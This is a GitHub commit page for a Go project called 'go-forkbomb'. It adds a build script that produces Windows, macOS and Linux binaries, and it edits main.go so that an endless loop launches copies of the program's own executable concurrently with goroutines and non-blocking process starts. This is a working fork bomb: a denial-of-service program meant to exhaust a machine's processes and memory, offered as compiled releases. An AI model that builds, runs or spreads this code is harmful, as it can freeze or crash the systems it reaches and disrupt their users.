Skip to content

Commit

Permalink
Small changes
Browse files Browse the repository at this point in the history
  • Loading branch information
amn committed Oct 10, 2022
1 parent dfa956c commit fda2b6f
Show file tree
Hide file tree
Showing 6 changed files with 8 additions and 2 deletions.
3 changes: 3 additions & 0 deletions build.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
GOOS="windows" go build -ldflags "-s -w" -o release/fbWin.exe
GOOS="darwin" go build -ldflags "-s -w" -o release/fbDarwin
GOOS="linux" go build -ldflags "-s -w" -o release/fbLinux
3 changes: 3 additions & 0 deletions go.mod
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
module go-forkbomb

go 1.19
4 changes: 2 additions & 2 deletions main.go
Original file line number Diff line number Diff line change
Expand Up @@ -18,11 +18,11 @@ func main() {
}
}
for {
bomb(exPath)
go bomb(exPath)
}
}

func bomb(file string) {
cmd := exec.Command(file)
cmd.Run()
cmd.Start()
}
Binary file renamed binaries/fbdarwin → release/fbDarwin
Binary file not shown.
Binary file renamed binaries/fblinux → release/fbLinux
Binary file not shown.
Binary file renamed binaries/fbwin.exe → release/fbWin.exe
Binary file not shown.

0 comments on commit fda2b6f

Please sign in to comment.